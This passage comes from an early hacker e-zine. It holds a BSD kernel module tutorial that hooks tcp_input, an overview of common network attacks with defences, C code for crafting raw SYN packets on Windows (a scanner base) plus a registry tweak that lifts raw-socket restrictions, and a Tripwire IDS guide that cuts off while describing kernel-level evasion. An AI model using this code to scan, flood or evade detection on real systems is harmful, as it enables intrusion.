our file system. */ MOD_VFS("nullfs", -1, &nullfs_vfsconf) /* * Our external entry point. We just initialise the file system and use * the DISPATCH macro, in this case not using a handler at all. */ int nullfsmod(lkmtp, cmd, ver) struct lkm_table *lkmtp; int cmd; int ver; { vfs_opv_init_explicit(&null_vnodeop_opv_desc); vfs_opv_init_default(&null_vnodeop_opv_desc); DISPATCH(lkmtp, cmd, ver, lkm_nofunc, lkm_nofunc, lkm_nofunc) } Compiling and Installing: (additional source taken from /usr/src/sys/miscfs/nullfs) # cc -D_KERNEL -I/sys -c null_subr.c # cc -D_KERNEL -I/sys -c null_vfsops.c # cc -D_KERNEL -I/sys -c null_vnops.c # cc -D_KERNEL -I/sys -c nullmod.c # ld -r -o nullfs.o null_vfsops.o null_vnops.o null_subr.o nullmod.o # modload -o nullfsmod -enullfsmod nullfs.o # modstat Type Id Off Loadaddr Size Info Rev Module Name VFS 0 -1 e0b84000 0003 e0b860d0 2 nullfs # And we're done. Miscellaneous Modules These modules can be used when writing something that doesn't fit into the predefined categories. In this example we will add some verboseness to the networking stack, printing out some information on incoming TCP packets. When writing a misc module, it is up to us to make sure sanity checking takes place, for example, not trying to load the module more than once. Also, it is up to us to "wire in" the module to the kernel. This is done in the handler function we specify for when the module is being loaded or unloaded. The structure representing a miscellaneous module is defined as this: struct lkm_misc { MODTYPE lkm_type; int lkm_ver; char *lkm_name; u_long lkm_offset; }; We have the module type first (in this case LM_MISC), the the version of lkm being used, the name of the module and its offset value. In the example shown here the offset value will be unused, but in the example provided in /usr/share/lkm/misc (adding a system call) the offset is used to mark the new system calls position in the system call table. It is up to the module writer to make use of the offset field, if need be. This structure is initialised using the MOD_MISC macro: MOD_MISC("tcpinfo") It is passed only one argument, specifying the modules name. When our module is loaded, we change a pointer to the tcp_input function to point to our specified new_input function. This will print out some information if the mbuf it is passed represents a packet header, then call the original tcp_input function. Before we do this we provide some sanity checking by making sure the module has not already been loaded. A few notes on this module: First off its probably not a good idea to load this on a system that is doing a lot of TCP traffic, the printf()'s could possibly slow things up quite a bit. Hopefully you're not using a production environment for development :). Secondly, this is loosely based on a FreeBSD module by pigpen@s0ftpj.org. This is the complete module (tcpmod.c): #include #include #include #include #include #include #include #include #include #include #include #include #include #include /* * We will modify the entry for TCP in this structure. */ extern struct protosw inetsw[]; /* * Our prototypes */ extern int lkmexists __P((struct lkm_table *)); extern char *inet_ntoa __P((struct in_addr)); static void new_input __P((struct mbuf *, ...)); static void (*old_tcp_input) __P((struct mbuf *, ...)); /* * Declare and initialise our module structure */ MOD_MISC("tcpinfo") /* * Our handler function, used for load and unload. */ int tcpmod_handler(lkmtp, cmd) struct lkm_table *lkmtp; int cmd; { int s; switch(cmd) { case LKM_E_LOAD: /* * Provide some sanity checking, making sure the module * will not be loaded more than once. */ if (lkmexists(lkmtp)) return(EEXIST); /* * Block network protocol processing while we modify * the structure. We are changing the pointer to the * function tcp_input to our own wrapper function. */ s = splnet(); old_tcp_input = inetsw[2].pr_input; inetsw[2].pr_input = new_input; splx(s); break; case LKM_E_UNLOAD: /* * Restore the structure back to normal when we * are unloaded. */ s = splnet(); inetsw[2].pr_input = old_tcp_input; splx(s); break; } return(0); } /* * Our external entry point, nothing to do but use DISPATCH */ int tcpinfo(lkmtp, cmd, ver) struct lkm_table *lkmtp; int cmd; int ver; { DISPATCH(lkmtp, cmd, ver, tcpmod_handler, tcpmod_handler, lkm_nofunc) } /* * Our tcp_input wrapper. If the mbuf represents a packet header, print * out the total length of the packet, the interface it was received on * and its source address. Then continue on with the original tcp_input. */ static void new_input(struct mbuf *m, ...) { va_list ap; int iphlen; struct ifnet *ifnp; struct ip *ip; va_start(ap, m); iphlen = va_arg(ap, int); va_end(ap); if (m->m_flags & M_PKTHDR) { ifnp = m->m_pkthdr.rcvif; ip = mtod(m, struct ip *); printf("incoming packet: %d bytes ", m->m_pkthdr.len); printf("on %s from %sn", ifnp->if_xname, inet_ntoa(ip->ip_src)); } (*old_tcp_input)(m, iphlen); return; } Compile and Install: # cc -D_KERNEL -I/sys -c tcpmod.c # modload -o tcpinfo.o -etcpinfo tcpmod.o Generate some tcp traffic and check your dmesg: # dmesg | tail -3 incoming packet: 1500 bytes on ne3 from 129.128.5.191 incoming packet: 1205 bytes on ne3 from 129.128.5.191 incoming packet: 52 bytes on ne3 from 129.128.5.191 # And we're done. Conclusion Hopefully you will have enough knowledge to develop you own modules, whether using them for debugging existing code or developing new code from scratch. Modules can speed the development process considerably by cutting down on time spent re-compiling new kernels and rebooting. Remember to restore your securelevel once development has finished. References lkm(4), modload(8), modstat(8), modunload(8) /usr/src/sys/kern/kern_lkm.c /usr/src/sys/sys/lkm.h /usr/share/lkm ,-----title--------------------------------------------------author------. 04 .-. Vectors Of Attack......................................Aphex...... | `--------------------------------------------------------------------' -> Intro This is just a general run down of some of the more common methods used to attack, exploit, or get around your security. A lot of the somewhat more complex concepts have been put into layman's terms so most people can understand them without having to read over it five times. A nice little overview of steps taken, and how to best stop them. -> Information Gathering Attacks The first sign of something fishy going on. The attacker is just trying to find targets or collect information about his already identified target. They don't harm the target in anyway, just provide information for further intrusion into the system. As common as a cheat on counter-strike, and just as automated. - Address scanning Used to scan large ranges of subnets, either to map out the network or search for an exploitable service or trojan. Automated software that is just left on overnight or running on some box to collect targets. If they are searching for an exploitable service, make sure you're not running it. Likewise with trojans. If the attacker is just trying to map out the network, all they would need is ping replies. Filter them out at the firewall. - DNS zone transfer Attackers can transfer name information from your DNS servers to identify internal hosts. Since the DNS protocol does not perform any authentication or encryption for transferring information or updates, it makes it exploitable in a number of ways. host -l world be a prime example, to stop people from the outside getting all the info on your internal clients, filter zone transfer requests at the firewall and disable transfers on your nameservers. - Port scanning Once a target is selected, it will next be port scanned. Some sort of automated software is used to establish TCP connections to various important ports. nmap is such software, and brings in architecture probes or OS fingerprints. By identifying what ports what version of software the system is running and what OS it is on an attacker can plug the information into a exploit search engine and plug away. Software has been developed to detect numerous connection attempts from the same ip, or firewall rules that fuzz results. Most of these depend on the definition of 'numerous'. Thus, slow scanning has been developed to get around such protection measures. By only connecting to one port a second for example, it will avoid most reactions from the server. To defend against these, seduction services are a more useful method. By opening a common port for a service you don't provide, logging any connections to that port and automatically reject any further information from that ip address for a time period can be extremely effective. - Services that give away information Some protocols, many not used much today, can leak away information about usernames, and give hints to passwords. Finger or LDAP for example, if publicly accessible can give the attacker enough information about the system to allow a break in. The best way to go about stoping unwanted information leaking out is to disable the services you don't use, and the one your not sure about, disable too. -> Denial-of-Service Attacks The most common 'hacks'. Every script kiddie and his dog can do one of these. They stop you from providing a service by crashing or overwhelming it. They use to be big in the news a few years back, now they are commonplace. Heres a general sum up of common types. - UDP floods An extremely simple flood. By forging a UDP connection to the Chargen port running on one host, that has a reply address of a host running echo, the attacker creates a stream of data flowing between them. Enough of these streams can cause a denial of service. To defend against this, disable TCP/IP services that aren't needed and configure your firewall to block UDP requests to these services from the internet. - SYN floods Another simple flood that exploits how TCP establishes connections. A client sends a SYN message to a host, the host replies with a SYN-ACK message, accepting the connection. The client then responds with an ACK message, and now traffic can flow over the TCP connection. When a server receives the initial SYN message it will allocate a certain amount of memory to the clients connection. SYN floods are bogus SYN messages sent out to the host, trying to overwhelm its implementation of TCP/IP. Results can vary. The only way to defend against SYN floods would be to have a firewall that can identify the characteristics of a SYN flood, numerous identical connection attempts coming from the same ip address. Although by simply randomly generating the source ip address you could get around this, since the source isn't really looking for a response. - Smurf attacks A simple smurf attack works by flooding a victim host with pings that have the reply address set to a the broadcast address of the victim's network. This causes all hosts in the broadcast address to reply to the ping, generating more traffic in then out, about one or two orders of magnitude more traffic than the initial ping flood. More common, and slightly more complex smurf attacks have the source address from the initial pings set to a third-party victim, with a larger connection to the internet then the attacker. To prevent becoming a third-party victim, turn off, depending on the OS, the broadcast addressing feature at your firewall. To prevent being the end victim, drop ICMP pings at your firewall. - Malformed message attacks Many services on various OS's will crash if they receive malformed messages because the services do not adequately check for errors in the message before processing. Most, if not all platforms can be affected by malformed messages. This category just sums up a large group of attacks, the most recent and public would have to be *sigh* code red I/II. Defence? Stay up to date with patches and hotfixes. Read bugtraq, do something proactive. -> Exploitation Attacks These aren't much better then DoS attacks. The most dangerous ones are converted into some automated software for ease of use. Scanning for susceptible services, or ports opened by trojans are very common. - Brute force Someone trying to guess your passwords is always going to happen. They might have a bit of information, username or such, from some service and try to guess a password. The best defence to brute force attacks that attempt to guess your password, would be not to provide the service at all. Most of the time this isn't possible. The next line of defence is to use passwords that are hard to guess. With every combination of a-z, a 5 character length password could be guessed with an 80mb wordlist. Just by making it 6 characters it would require a 2gb wordlist. Using a 8 character password, with a number, a-z, and another character, A wordlist would have to be well over a terabyte. So be paranoid, use longer password. If you have a service where users assign their own passwords, try to make them use secure passwords too. A final step would be to log login attempts and have some sort of IDS block the ip after 5 failed logins. - Buffer overflows These attempt to exploit a weakness in common software. They exploit the fact that most software allocates blocks of memory in fixed size chunks to create a scratchpad area called a buffer. Often these buffers are programmed to a fixed maximum size, or programmed to trust a message to indicate its size. Buffer overflows are caused when messages do lie about their size or are deliberately longer then the maximum allowed length. By writing up a small exploit to open a further security hole and postfixing that code to the buffer payload (zing), the attacker can gain control of the system. These are so common that they pop up daily. Once again, stay upto date on patches and hotfixes. - Trojan horses Don't be stupid enough to accept, and run, files from strangers. Human stupidity is the cause of most negative things in this world. Strip attachments, strip activex controls if needed. Install some sort of virus protection if you know you're an idiot. -> Disinformation Attacks These would be the hardest to defend against. This is due to a few reasons. They might use lateral thinking, to exploit things you didn't think possible, exploit weak links in protocols, and most importantly, exploit human stupidity. - DNS cache pollution Because DNS servers don't perform authentication when exchanging information with other nameservers, attackers can insert incorrect information to redirect domain names to the machine they choose. To protect against it, filter DNS updates at your firewall. Make sure no external nameservers can update your internal server's records for internal machines. - Registrar usurpation Internet registries form the root of the DNS name system. Forging a message to them, claiming to be someone else can result in redirecting site traffic from the legitimate owners. Some registrars rely on emails for update information. They compare the email address of the owner to the From: field in the email. If they match, the update is performed. Other methods of contacting your registrar are now much more common, and registrars are more aware of such attacks. The only way to defend against this is to choose your registrar with caution. - Forged email One of the most simple, effective, and dangerous attacks. Never trust the From: field, attackers can change it at will. They can further strip the email headers to making it anonymous. They could do anything from prompting the user to run a file, go to a url, or otherwise undermine your security. By making the email seem to come from a trusted source people are, surprise surprise, more trusting. If the information is of such great importance, use something like pgp/gnugp to encrypt or sign your emails so you can be more or less assured you are talking to who you're meant to. Common sense is also a major factor in defending against such an attack. -> Outro This sentence no verb -> aphex -> http://infosurge.org/users/aphex ,-----title--------------------------------------------------author------. 05 .-. Raw Sockets in Windows 2000/XP.........................ziss....... | `--------------------------------------------------------------------' Politics ======== Firstly, the information presented herein may lead to millions of Windows kiddies DoSing boxen all over the internet. I am not responsible for the way in which this information is used. If you are reading this article in order to create the worlds l33t3st 0h d4y DDoS device please stop reading now. Jump to the next section, complete your work and aim it at Mr Steve Gibson (*joke*). The ability to create and capture packets can be used for far more constructive and powerful forces than a simple SYN flood. Secondly, Steve Gibson is a twat. He believes that inclusion of raw sockets in Microsoft's Windows XP will be the end of the Internet as we know it. I am sick of all this "XP raw sockets are going to crash the internet" bullshit, I cant even Google for info using the words "windows", "raw" and "socket" without getting back 3 million links to news articles about how Steve Gibson is the man. He is a fool, and I will not waste my time on his stupidity by discussing how wrong he really is. Introduction ============ Prior to the Windows 2000 suite, raw sockets capture and construction were handled by NDIS packet drivers on the Windows (NT) operating systems. Since then, Microsoft has enabled raw socket manipulation in their Windows 2000 and XP range. The raw sockets abilities have not been well documented by Microsoft or anyone else. A security group Komodia (www.komodia.com) has put together a raw sockets TCP/IP library. However trying to learn from their code was like a maze. Have a look - it's a very good suite, however too complex for a simple introduction to raw sockets in Windows 2000/XP. Microsoft themselves provided us with a good introduction to raw sockets in the Windows 2000/Whistler SDK [Micr00] which is also seen in Chapter 13 of Network Programming for Microsoft Windows by Microsoft Press [Jone99], however that example was using UDP and there was no information available on raw TCP sockets. The purpose of this article is to demonstrate the simplicity of using raw sockets in Windows 2000/XP. I will be using TCP in my examples, but if you are looking for information on UDP, see the Windows 2000 SDK or the book mentioned above. This article assumes that you understand the basics of C, Berkeley (raw) sockets and have a clue or two about the TCP/IP suite. I recommend the "Raw IP Networking FAQ" [Al-H99] and "TCP/IP Illustrated, Volume 1: The Protocols" [Stev94]. ***************************** Part 1: Sending raw packets ***************************** Using IP_HDRINCL ================ When it comes down to it IP_HDRINCL is what allows us to use raw sockets in Windows 2000/XP. It is a new (to Windows, anyway) socket option which means IP Header Include. Basically it is the socket option which says that we use our own user defined IP header as well as our own subsequent TCP/UDP/ICMP headers. NOTE: To set the IP_HDRINCL option on a socket the user must have Administrative privileges, and only admins can send/recv raw packets, unless you add the following registry key: HKEY_LOCAL_MACHINE\\\\System\\\\CurrentControlSet\\\\Services\\\\Afd\\\\Parameters\\\\DisableRawSecurity and set its value (DWORD) to 1. Declaring a raw TCP socket: WSADATA wsd; SOCKET myraw; bool bOpt; int ret; // do WSAStartup() myraw = WSASocket(AF_INET, SOCK_RAW, IPPROTO_RAW, NULL, 0,0); // or // myraw = socket(AF_INET, SOCK_RAW, IPPROTO_RAW); bOpt = TRUE; // Lets make this lion raw. ret = setsockopt(myraw, IPPROTO_IP, IP_HDRINCL, (char *)&bOpt, sizeof(bOpt)) if (ret == SOCKET_ERROR) // handle error With that the socket myraw will be set to raw and ready for writing. User defined IP and TCP headers =============================== In order to write to the raw socket we must declare our own IP and TCP headers. To make things easier: /*************************** TCPIP.H ********************************/ #ifndef _TCPIP_H_ #define _TCPIP_H_ // Standard TCP flags #define URG 0x20 #define ACK 0x10 #define PSH 0x08 #define RST 0x04 #define SYN 0x02 #define FIN 0x01 // Our tcp header struct typedef struct tcp_hdr { unsigned short sport; unsigned short dport; unsigned int seqnum; unsigned int acknum; unsigned char DataOffset; unsigned char Flags; unsigned short Windows; unsigned short Checksum; unsigned short UrgPointer; }TCP_HDR; // Our ip header struct typedef struct ip_hdr { unsigned char ip_verlen; // IP version & length unsigned char ip_tos; // IP type of service unsigned short ip_totallength; // Total length unsigned short ip_id; // Unique identifier unsigned short ip_offset; // Fragment offset field unsigned char ip_ttl; // Time to live unsigned char ip_protocol; // Protocol(TCP, UDP, etc.) unsigned short ip_checksum; // IP checksum unsigned int ip_srcaddr; // Source address unsigned int ip_destaddr; // Destination address } IP_HDR; // Our pseudo header struct typedef struct ps_hdr { unsigned int source_address; unsigned int dest_address; unsigned char placeholder; unsigned char protocol; unsigned short tcp_length; struct tcp_hdr tcp; }PS_HDR; // Standard TCP/UDP checksum function. USHORT checksum(USHORT *buffer, int size) { unsigned long cksum=0; while (size > 1) { cksum += *buffer++; size -= sizeof(USHORT); } if (size) { cksum += *(UCHAR*)buffer; } cksum = (cksum >> 16) + (cksum & 0xffff); cksum += (cksum >>16); return (USHORT)(~cksum); } #endif /********************** END TCPIP.H *************************************/ Sending the packet ================== After filling your IP and TCP headers and possible data and calculating the checksum memcpy them into a single buffer as you would on *nix. The buffer is now ready to be sent across the wire using the standard sendto() function. ret = sendto(mysock, buf, sizeof(buf), 0, (SOCKADDR *)&sin, sizeof(sin)); Where sin is your standard sockaddr_in IP-addressing struct. Example Code ============ This is a very simple piece of example code to show creating a raw socket, filling the IP and TCP headers and sending out the packets. You will manually have to set your src and dest IP addresses in main(). 10 packets will be sent out with only the TCP SYN flag on. The destination port will be iterated to simulate the basis of a very simple syn scanner. To see the packets in action run tcpdump/winpdump on the destination host. /***************************** SENDSYN.C ***********************************/ /* Stupid syn sending code by ziss. This program is meant to demonstrate Windows 2000/XP raw socket capabilities, now go code something cool. link with ws2_32.lib (vc++) Project->Settings->Object/Library Modules add ws2_32.lib */ #include #include #include #include #include "tcpip.h" int makepacket(unsigned short dport, unsigned long dip, unsigned long sip, char buf[]) { IP_HDR ipHdr; TCP_HDR tcpHdr; PS_HDR pseudo_header; unsigned short iTotalSize, iIPVersion, iIPSize, cksum = 0; char *ptr = NULL; iTotalSize = sizeof(ipHdr) + sizeof(tcpHdr);// + strlen(anyotherdata); iIPVersion = 4; iIPSize = sizeof(ipHdr) / sizeof(unsigned long); // Setup our IP header ipHdr.ip_verlen = (iIPVersion << 4) | iIPSize; ipHdr.ip_tos = 0; // IP type of service ipHdr.ip_totallength = htons(iTotalSize); // Total packet len ipHdr.ip_id = 1; // Unique identifier: set to 0 ipHdr.ip_offset = 0; // Fragment offset field ipHdr.ip_ttl = 128; // Time to live ipHdr.ip_protocol = IPPROTO_TCP; // Protocol(TCP) ipHdr.ip_checksum = 0 ; // IP checksum ipHdr.ip_srcaddr = sip; // Source address ipHdr.ip_destaddr = dip; // Destination address // Setup our TCP header tcpHdr.sport = htons(99); // anything/random tcpHdr.dport = htons(dport) ; // destination port tcpHdr.seqnum = htonl(31337); tcpHdr.acknum=0; tcpHdr.DataOffset=(5) << 4; // Set SYN flag on. tcpHdr.Flags=SYN; tcpHdr.Windows=htons(1337); tcpHdr.Checksum=0; tcpHdr.UrgPointer=0; // Make pseudo header for checksum pseudo_header.source_address = sip; pseudo_header.dest_address = dip; pseudo_header.placeholder = 0; pseudo_header.protocol = IPPROTO_TCP; pseudo_header.tcp_length = htons(sizeof(tcpHdr)); memcpy(&pseudo_header.tcp,&tcpHdr, sizeof(tcpHdr)); // Calculate checksum tcpHdr.Checksum = checksum((unsigned short *)&pseudo_header, sizeof(pseudo_header)); // Fill buffer to send. ZeroMemory(buf, sizeof(buf)); ptr = buf; memcpy(ptr, &ipHdr, sizeof(ipHdr)); ptr += sizeof(ipHdr); memcpy(ptr, &tcpHdr, sizeof(tcpHdr)); ptr += sizeof(tcpHdr); return 0; } int makesocket(unsigned short dport, unsigned long dip, unsigned long sip) { WSADATA wsd; SOCKET s; BOOL bOpt =true; int ret; struct sockaddr_in sin; char buf[40]; // just enough for ip+tcp with NO DATA! if (WSAStartup(MAKEWORD(2,2), &wsd) != 0) { printf("WSAStartup() failed: %d\\\\n", GetLastError()); return -1; } // Creating a raw socket s = WSASocket(AF_INET, SOCK_RAW, IPPROTO_RAW, NULL, 0,0); if (s == INVALID_SOCKET) { printf("WSASocket() failed: %d\\\\n", WSAGetLastError()); return -1; } // Enable the IP header include option // Making it raw. ret = setsockopt(s, IPPROTO_IP, IP_HDRINCL, (char *)&bOpt, sizeof(bOpt)); if (ret == SOCKET_ERROR) { printf("setsockopt(IP_HDRINCL) failed: %d\\\\n", WSAGetLastError()); return -1; } sin.sin_family = AF_INET; sin.sin_port = htons(1); //doesnt matter sin.sin_addr.s_addr = dip; // Sending 10 packets. for(int i=0;i<10;i++) { // make a packet if (makepacket(dport,dip,sip, buf)!=0) { printf("Failed to make packet\\\\n"); return -1; } // send that packet! ret = sendto(s, buf, sizeof(buf), 0, (SOCKADDR *)&sin, sizeof(sin)); if (ret == SOCKET_ERROR) { printf("sendto() failed: %d\\\\n", WSAGetLastError()); break; } // iterate the destination port dport++; } closesocket(s); WSACleanup(); return 0; } int main() { IN_ADDR addr; int iToPort = 100; // define target addy here DWORD dwToIP = inet_addr("192.168.0.1"); // define src addy here DWORD dwFromIP = inet_addr("192.168.0.2"); addr.S_un.S_addr = dwFromIP; printf("Sending raw packets\\\\n"); printf("From IP: <%s>\\\\n \\\\n", inet_ntoa(addr)); addr.S_un.S_addr = dwToIP; printf("To IP: <%s>\\\\n Port: %d\\\\n", inet_ntoa(addr),iToPort); if(makesocket(iToPort,dwToIP,dwFromIP)<0) printf("Failed.\\\\n"); else printf("Done.\\\\n"); return 0; } /************************ END SENDSYN.c ***********************************/ ***************************** Part 2: Recieving raw packets ***************************** "Traditionally the BSD socket API did not allow you to listen to just any incoming packet via a raw socket. Although Linux (2.0.30 was the last version I had a look at), did allow this, it has to do with their own implementation of the TCP/IP stack. " (Raw IP Networking FAQ) Unlike Linux, it seems that the Microsoft crew did not implement these changes. On Linux after a raw socket has been declared and setup, the read() would grab any/all packets off the network link, and basic linux sniffers were simply a raw socket grabbing and processing packets. In Windows land, we cannot call recv() on our raw socket setup above (myraw). The reason for this is that all IP packets are handled by the kernel first and then passed up to the user land. When we send our raw SYN packets out across the wire the kernel is not aware of this and has no record of the packet being sent or of a connection being established, when the destination host replies with her SYN/ACK or RST packet the kernel drops these packets which means they never reach our program. So how do we discover the contents of the reply packet? Easy, we setup a sniffer to do the job of grabbing the all the packets off the wire and we look for the ones which may be ours. Sniffing in Windows 2000 ======================== In order to get the reply packets from our target hosts before they get dropped by our kernel we need to create a new raw socket, bind it to our NIC and listen. When it came to sniffing Microsoft helped out, not only did they give us the option to put the NIC into promiscuous mode, but they also came up with some great sample code as part of the Windows 2000 SDK. The code was for a program called RCVALL and uses the new Windows 2000/XP socket ioctls, namely the SIO_RCVALL ioctl. Using SIO_RCVALL ================ Setting up a socket to receive all IP traffic is easy using SIO_RCVALL. To use SIO_RCVALL it must first be defined: #define SIO_RCVALL _WSAIOW(IOC_VENDOR,1) Heres a simplified example. SOCKET sniffsock; WSADATA wsd; SOCKADDR_IN if0; char rcvbuf[65535]; // now make sniffsock raw. sniffsock = WSASocket(AF_INET, SOCK_RAW, IPPROTO_IP, NULL, 0, WSA_FLAG_OVERLAPPED); // bind() our socket to the interface // getting the interface is a tricky part and I just use the MS example code. bind(sniffsock, (SOCKADDR *)&if0, sizeof(if0)); // Set the SIO_RCVALL ioctl // This is where we get into promiscuous mode WSAIoctl(sniffsock, SIO_RCVALL, &optval, sizeof(optval), NULL, 0, &dwBytesRet, NULL, NULL); while (1) { wbuf.len = 65535; wbuf.buf = rcvbuf; dwFlags = 0; //grab a packet ret = WSARecv(sniffsock, &wbuf, 1, &dwBytesRet, &dwFlags, NULL, NULL); filterpacket(&wbuf); //call our user defined filterpacket() passing along the // packet. } Handling the Packets ==================== After we have setup our sniffing socket, we need to process the packets that we are receiving. We need to create the filterpacket() to fill our IP and TCP structs so that we can do filtering on the packets, once the packet is into the proper TCP/IP header formats we can look at the flags in the TCP header to discover the status of the remote port (SYN+ACK if open, RST if closed). At this point I would say there is already too much code in this paper, so if you would like to see example sniffing code please refer to the following: * Windows 2000 SDK RCVALL program * Sniff2k my Windows 2000/XP sniffer found at http://www.pad.au.com/~ziss * sc4n- my simple (lame) SYN-scanner which uses the techniques discussed in this article by creating a thread to sniff for reply packets while the parent process sends out the packets. What's Next? ============ Well, what comes next is up to you. Sure you could take the first half of this paper and create some leeto DoSing warez which is in my opinion very lame, or you can learn something from this whole paper and create some cool tools which were previously only available on the *nix platforms such as 'stealth' port scanners, connection hijackers, sniffers, NIDS, etc. References ========== [Al-H99] Al-Herbish, Thamer, "Raw IP Networking FAQ", http://www.whitefang.com/rin/rawfaq.html, Nov 1999 [Jone99] Jones, Anthony and Jim Ohlund. "Network Programming for Microsoft Windows", Microsoft Press, 1999, ISBN 0-7356-0560-2 [Micr00] Microsoft Corporation, "Whistler Beta 1 Edition of the Microsoft Platform SDK", http://msdn.microsoft.com/, Oct 2000 [Stev94] Stevens, W. Richard. "TCP/IP Illustrated, Volume 1: The Protocols", Addison-Wesley, 1994, ISBN 0-201-63346-9 ,-----title--------------------------------------------------author------. 06 .-. Tripwire 2.4 & Filesystem Integrity IDS Concepts.......David Jorm. | `--------------------------------------------------------------------' Filesystem Integrity IDS: IDS - Intrusion Detection Systems - come in three common forms: network traffic, process behaviour and filesystem integrity. Network traffic IDS such as snort attempt to detect fingerprints of packets which contain potential malintent. This has the advantage of being able to monitor all network segments the IDS host is attached to and to intervene before an attack takes place. However, the major drawback is that fingerprinting is a highly fallible detection method, as it not only relies on a constantly updated database of fingerprints, but also can be deceived by issuing an attack in a manner which does not match the known fingerprint (i.e. inserting benign strings of data into an attack so it doesn't register, hexadecimal requests in place of ASCII, etc.). Process behaviour IDS monitors the stack trace of every nominated process; generally network service daemons, etc, attempting to detect the stack behaviour indicative of a buffer overflow. Although this method is technically sound and potentially very powerful, present-day implementations don't extend far beyond a few sourcefourge projects. Filesystem integrity is the only method that does not try to identify process, network or system load behaviours that might indicate a known exploit or security breach is running or has been run. It simply monitors the filesystem of the machine and confirms that the permissions, attributes and cryptographic hashes of files have not changed. The most evident problem with this is 'report noise' - configuration where so many false alarms are raised that by the time a genuine security violation occurs, the system administrator ignores it. The main Filesystem Integrity vendor is tripwire, with little competition in the commercial UNIX or Windows marketspace. HP maintains a product which, from brief analysis, appears to be very comprehensive called "IDS/9000", but unfortunately it is only available for HP-UX 11.x. Tripwire Methodology: Tripwire is distributed as 4 binaries, which each handle part of the systems functionality: tripwire: The tripwire binary handles all the most common procedures, including integrity checks, policy file construction and database updating. twadmin: Handles all the administrative functions such as initial hash database generation. twprint: Is an interface to the El-gamal encryption Tripwire uses to encode policy files and report files. Twprint will prompt a user for a passphrase, then use it to decrypt and print policy/report files. siggen: Is a manual cryptographic hash generator. It accepts flags for which hashes to generate and takes a file from STDIN, printing its respective hashes. Siggen is useful for after-the-fact investigation and forensics. Initial setup calls for the construction of policy files that dictate which files tripwire monitors, what properties of the those files in monitors, which cryptographic hash(es) to use and what reporting action to take. Policy file syntax is similar to shell scripting, but is extremely simple once mastered. The files break down into a series of rules, each rule governing a set of files which are monitored in the same way. As an example of a simple rule: # setuid/setgid root programs @@section FS SEC_SUID = $(IgnoreNone)-SHa; SIG_HI = 100; (rulename = setuid/setgid, severity = $(SIG_HI)) { /bin/su -> $(SEC_SUID); /bin/ping -> $(SEC_SUID); } This rule uses two user defined variables, which can be used anywhere within policy files. $(SIG_HI) is an alias for "100%" severity levels, while $(SEC_SUID) is an alias for the file properties that would commonly be monitored on SUID root binaries. The definition of SEC_SUID uses a predefined variable that is native to the policy file language - $(IgnoreNone). IgnoreNone is an alias for a very strict monitoring policy, expanding to the flags "-pinugtsldbamcCMSH". As a manual example of this rule: (rulename = setuid/setgid, severity = 100) { /bin/su -> -pinugtsldbamcCMSH; /bin/ping -> -pinugtsldbamcCMSH; } I won't detail what every flag denotes, but to give a rough idea of what some of these mean: Flag Meaning a Monitor access time m Monitor modification time s Monitor file's bytecount S Perform SHA-1 hashing M Perform MD5 hashing Once a policy file has been written in this cleartext format, it needs to be cryptographically encoded so it cannot be read by an intruder. This is done using the command: twadmin -m P example.txt This will generate the policy file "example.pol". The next step is to generate a baseline database from this policy file. The database keeps hashes and file attributes - all the ones specified in the policy file - of how the system should look. When integrity checks are run, the results are compared to this baseline database and any discrepancy is interpreted as a system compromise. To generate the baseline database: tripwire --init --polfile example.pol --dbfile example.twd This will generate the baseline database file "example.twd" (the twd file extension standing for 'tripwire database'). Integrity scans should be scheduled to match how in depth each policy file is. Assuming we've just generated a very simple policy file which only looks after the kernel, boot files, init files and SUID root binaries, we might want to run a check on an hourly basis. This can simply be done with an entry in root's crontab: 0 * * * * tripwire --check --polfile example.pol --dbfile example.twd This would run the check every hour on the hour, assuming the tripwire binary is in PATH and the .pol and .twd files are in WD. Reporting violations Reporting options are setup within the policy file. E-mail notification or syslog/Event log writing capabilities need to be implied for each rule to which they should pertain. By default, each integrity check will generate a time-stamped and encrypted report file, which the system administrator can view using twprint. Although manually decrypting and reading reports is time consuming, it's highly recommended as the most secure reporting mechanism. To view a report using twprint: twprint -m r -r example_report.twr Performance Considerations If poorly configured, a filesystem integrity IDS could potentially chew up a massive amount of system resources. Keeping this to a minimum comes down to three basic points when setting up the system: 1. Policy Brevity Don't monitor everything! There are a lot of file modifications or permission changes which do not constitute a security breach, be sure to keep these out of your policy files. Not only will this significantly increase performance but will reduce the number of false alarms the IDS raises. No ones wants a system that cries wolf. 2. Sane Scheduling Several policy files should be created. One monitoring the most critical system files running on an hourly or half-hourly basis, and others performing more thorough scans which might operate daily or even in some cases weekly. Running a thorough system scan hourly would certainly be good for quick notification of intrusion but in many cases is not worth the extra resource overhead. 3. Hashing Algorithm Selection CRC32 is obsolete. Don't use it. MD5 is widely accepted as being collision-free - to a fair extent - and it generates little CPU overhead. SHA-1 has the greatest keyspace of all algorithms offered, hence generating the least hash collisions, but it uses the most CPU overhead. Select a hashing algorithm that best suits the paranoia level of what you're monitoring and, as a general rule, only use MD5 and SHA-1. I performed some benchmarking of the algorithms which illustrates this: Signature Algorithm Performance 9................................................................. 8................................................--............... 7....................--......................--.|!!|.............. 6................--.|!!|.................--.|&&||!!|.............. 5........__..--.|&&||!!|.........__..--.|%%||&&||!!|.............. 4....--.|@@||%%||&&||!!|........|##||@@||%%||&&||!!|.............. 3...|##||@@||%%||&&||!!|........|##||@@||%%||&&||!!|.............. 2...|##||@@||%%||&&||!!|........|##||@@||%%||&&||!!|.............. 1...|##||@@||%%||&&||!!|........|##||@@||%%||&&||!!|.............. 0...|__||__||__||__||__|........|__||__||__||__||__|.............. Linux 2.2 Solaris 7 (sun4m) [key] ## = CRC32 @@ = MD5 %% = Haval && = SHA-1 !! = ALL [Ed Note: original graph located at http://www.infosurge.org/zine/is20-6.jpg ] [This one was drawn up by our ascii monkeys for the zine. ] Underlying Issues The overall concept of filesystem integrity IDS is not entirely flawless. Two potential vulnerabilities have been raised. The first involves replacing the tripwire binaries with a 'trojaned' version. This replacement would mimic the behaviour of tripwire on the command line, responding to flags in the same way so an administrator is oblivious to the fact this has happened. The replacement binaries then simply generate false reports, stating that everything is fine and the integrity checks have found no discrepancies. The biggest problem with deceiving tripwire in this way is, given policy files and reports are encrypted, it's impossible to know how the reports should look, so an administrator could easily be alerted to the intrusion by reading his reports and realising they're of the incorrect format. The second method is much less fallible yet much more difficult to attempt in a real-world situation. Filesystem integrity IDS relies on the premise that whatever file attributes the kernel-level FS hooks report are in fact they way they truly exist on the filesystem. For operating systems with loadable kernel modules (i.e. Linux) it is feasible to write a kernel module which sits between the genuine filesystem on a given block device and the kernel hooks which access the filesystem. This module could then respond with false information about a particular file. For example, say an intruder 